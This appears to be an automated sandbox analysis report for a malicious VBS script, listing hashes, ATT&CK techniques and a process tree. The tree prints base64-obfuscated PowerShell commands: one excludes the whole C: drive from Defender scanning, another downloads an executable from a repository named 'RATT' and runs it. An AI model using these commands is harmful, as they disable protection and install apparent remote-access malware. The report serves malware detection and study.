d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e

Analysis

max time kernel
120s
max time network
127s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
04-06-2024 09:25

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General

Target

d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e.vbs
Size

289KB
MD5

ac7f96ac94ca748354e7db225aa1a5b2
SHA1

98be163399271b71337afbc716b6a313ea1941e6
SHA256

d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e
SHA512

862f9d5bc0d4ba27cfa7d75b4974e4eb37d30f53de883419c3e1e7c62fb525a2964e8431b5b5c91e1d2654db5446bba60320d196b148b35480eec2ed2cc26692
SSDEEP

6144:Xm/uolvrxUXllOuQcTN5eZ2cH5d/ozSxCP27kbn8buCW+ZFU/Chpav1GUTs8quIr:W2svrwmuQ2yp5keCPtb8b1HZSCSDs8q/

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2536 powershell.exe
2592 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2536 powershell.exe
2592 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2536 powershell.exe
Token: SeDebugPrivilege 2592 powershell.exe

pid	process
2536	powershell.exe
2592	powershell.exe

pid	process
2536	powershell.exe
2592	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.exeWScript.exe

description	pid	process	target process
PID 1500 wrote to memory of 2680	1500	WScript.exe	WScript.exe
PID 1500 wrote to memory of 2680	1500	WScript.exe	WScript.exe
PID 1500 wrote to memory of 2680	1500	WScript.exe	WScript.exe
PID 2680 wrote to memory of 2536	2680	WScript.exe	powershell.exe
PID 2680 wrote to memory of 2536	2680	WScript.exe	powershell.exe
PID 2680 wrote to memory of 2536	2680	WScript.exe	powershell.exe
PID 2680 wrote to memory of 2592	2680	WScript.exe	powershell.exe
PID 2680 wrote to memory of 2592	2680	WScript.exe	powershell.exe
PID 2680 wrote to memory of 2592	2680	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1500
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e.vbs" /elevate
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TNuiO = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAJwA=')); Invoke-Expression -Command $TNuiO
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $unLyJ = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('aQB3AHIAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkAGUAdgBjAHIAaQBpAGkALwBSAEEAVABUAC8AcgBhAHcALwBtAGEAaQBuAC8AYgB1AGkAbAB0AC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGUAbgB2ADoAVABFAE0AUABcAHgAbABlAFUAaABaAEQATABRAEcAUABNAHMAaABlAGQAUABhAHQAWABxAFoALgBlAHgAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAVABFAE0AUABcAHgAbABlAFUAaABaAEQATABRAEcAUABNAHMAaABlAGQAUABhAHQAWABxAFoALgBlAHgAZQA=')); Invoke-Expression -Command $unLyJ
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
38bc9363ce302136820e28e9e32e0df1

SHA1
16d3ad1c224008c87a600d3601021c1fe13c713d

SHA256
581de5350775bceb01d6c5039b9a4b096c729341d3147912688dd73eb7db65dd

SHA512
551235294ec3b0a611c2fdc9abdd798f477eeaa99eda58647dc29c3416f93367bbb46ff55a5b34dcc738f7601a0e1fc6f7a833c8e9132e718d6ce11e0b03ae93

Download Submit
memory/2536-5-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2536-4-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/2592-11-0x000000001B2D0000-0x000000001B5B2000-memory.dmp

Filesize
2.9MB

Download
memory/2592-12-0x0000000002630000-0x0000000002638000-memory.dmp

Filesize
32KB

Download